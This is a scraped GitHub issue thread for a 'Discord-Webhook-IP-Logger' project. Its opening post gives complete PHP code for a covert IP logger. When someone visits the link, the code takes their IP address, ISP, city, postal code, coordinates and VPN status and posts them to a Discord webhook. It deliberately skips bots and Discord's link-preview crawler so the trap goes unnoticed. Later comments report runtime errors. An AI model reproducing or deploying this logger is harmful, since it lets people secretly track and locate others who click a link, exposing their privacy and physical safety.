Discord-Webhook-IP-Logger icon indicating copy to clipboard operation
Discord-Webhook-IP-Logger copied to clipboard

[FIXED]

Open Tr4nt420 opened this issue 4 years ago • 6 comments
trafficstars

Added some stuff. Fixed VPN Checker. Fixed the code. Nothing complicated was added, all i did was implementing ipqualityscore.com's API and Rewriting this with the old code. Feel free to DMs me for help: Tr4nt#6880 How to setup checker:

  1. Go to https://www.ipqualityscore.com/.
  2. Create an account.
  3. Go to https://www.ipqualityscore.com/documentation/proxy-detection/overview.
  4. Find your Private key.
<?php
$key                        = 'your key here';
$webhookurl                 = "your webhook here";
$ip                         = isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : $_SERVER['REMOTE_ADDR'];
$user_agent                 = $_SERVER['HTTP_USER_AGENT'];
$strictness                 = 1;
$user_language              = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
$allow_public_access_points = 'true';
$lighter_penalties          = 'false';
$browser                    = $_SERVER['HTTP_USER_AGENT'];
if (preg_match('/bot|Discord|robot|curl|spider|crawler|^$/i', $browser)) {
    exit();
}
$TheirDate = date('d/m/Y');
$TheirTime = date('G:i:s');
$details   = json_decode(file_get_contents("http://ip-api.com/json/{$ip}"));
$vpnCon    = json_decode(file_get_contents("https://json.geoiplookup.io/{$ip}"));
if (isset($details->district)) {
    $district = "**DISTRICT:** $details->district";
} else {
    $district = "**DISTRICT:** **NONE**";
}
$parameters           = array(
    'user_agent' => $user_agent,
    'user_language' => $user_language,
    'strictness' => $strictness,
    'allow_public_access_points' => $allow_public_access_points,
    'lighter_penalties' => $lighter_penalties
);
$formatted_parameters = http_build_query($parameters);
$url                  = sprintf('https://www.ipqualityscore.com/api/json/ip/%s/%s?%s', $key, $ip, $formatted_parameters);
$timeout              = 5;
$curl                 = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, $timeout);
$json = curl_exec($curl);
curl_close($curl);
$result     = json_decode($json);
$getvpn     = "$result->vpn";
$getproxy   = "$result->proxy";
$getcrawler = "$result->is_crawler";
$VpnInt     = (int) $getvpn;
if ($VpnInt === 0) {
    $vpn = "No";
} else {
    $vpn = "Yes";
}
$VpnInt = (int) $getproxy;
if ($VpnInt === 0) {
    $proxy = "No";
} else {
    $proxy = "Yes";
}
$VpnInt = (int) $getcrawler;
if ($VpnInt === 0) {
    $crawler = "No";
} else {
    $crawler = "Yes";
}
$msg       = "**USER IP:** $ip\n**DETAILS:** $details->isp\n**DATE:** $TheirDate\n**TIME:** $TheirTime\n**Location:** $details->city \n**Region:** $details->region\n**Country** $details->country\n**Postal Code:** $details->zip\n**LATITUDE:** $details->lat\n**LONGTITUDE:** $details->lon\n$district\n**VPN:** $vpn\n**Proxy:** $proxy\n**Crawler:** $crawler";
$flag      = "https://www.countryflags.io/{$details->countryCode}/shiny/64.png";
$json_data = array(
    'content' => "$msg",
    'username' => "Vistor Visited From: $details->country",
    'avatar_url' => "$flag"
);
$make_json = json_encode($json_data);
$ch        = curl_init($webhookurl);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-type: application/json'
));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $make_json);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
?>

Tr4nt420 avatar Feb 28 '21 17:02 Tr4nt420

`Notice: Trying to get property 'vpn' of non-object in /storage/ssd2/116/16596116/public_html/index.php on line 42

Notice: Trying to get property 'proxy' of non-object in /storage/ssd2/116/16596116/public_html/index.php on line 43

Notice: Trying to get property 'is_crawler' of non-object in /storage/ssd2/116/16596116/public_html/index.php on line 44

Notice: Trying to get property 'isp' of non-object in /storage/ssd2/116/16596116/public_html/index.php on line 63

Notice: Trying to get property 'city' of non-object in /storage/ssd2/116/16596116/public_html/index.php on line 63

Notice: Trying to get property 'region' of non-object in /storage/ssd2/116/16596116/public_html/index.php on line 63

Notice: Trying to get property 'country' of non-object in /storage/ssd2/116/16596116/public_html/index.php on line 63

Notice: Trying to get property 'zip' of non-object in /storage/ssd2/116/16596116/public_html/index.php on line 63

Notice: Trying to get property 'lat' of non-object in /storage/ssd2/116/16596116/public_html/index.php on line 63

Notice: Trying to get property 'lon' of non-object in /storage/ssd2/116/16596116/public_html/index.php on line 63

Notice: Trying to get property 'countryCode' of non-object in /storage/ssd2/116/16596116/public_html/index.php on line 64

Notice: Trying to get property 'country' of non-object in /storage/ssd2/116/16596116/public_html/index.php on line 67

Notice: Undefined variable: webhookurl in /storage/ssd2/116/16596116/public_html/index.php on line 71`

Owned67 avatar Apr 29 '21 10:04 Owned67

Please can you make a Pull Request, IF this code is working. thanks.

Scarface-Tony-Montana avatar May 29 '21 12:05 Scarface-Tony-Montana

Please can you make a Pull Request, IF this code is working. thanks.

it doesn't work, why u want a pull? xD

Owned67 avatar May 29 '21 13:05 Owned67

Please can you make a Pull Request, IF this code is working. thanks.

it doesn't work, why u want a pull? xD

I've not been able to verify that it does or doesn't since I moved on from this project years. I have a new version to release of this but in NodeJS

Scarface-Tony-Montana avatar May 29 '21 15:05 Scarface-Tony-Montana

Please can you make a Pull Request, IF this code is working. thanks.

it doesn't work, why u want a pull? xD

I've not been able to verify that it does or doesn't since I moved on from this project years. I have a new version to release of this but in NodeJS

ok, that nice so :)

Owned67 avatar May 29 '21 16:05 Owned67

error 500

Kolhax avatar Jan 16 '22 01:01 Kolhax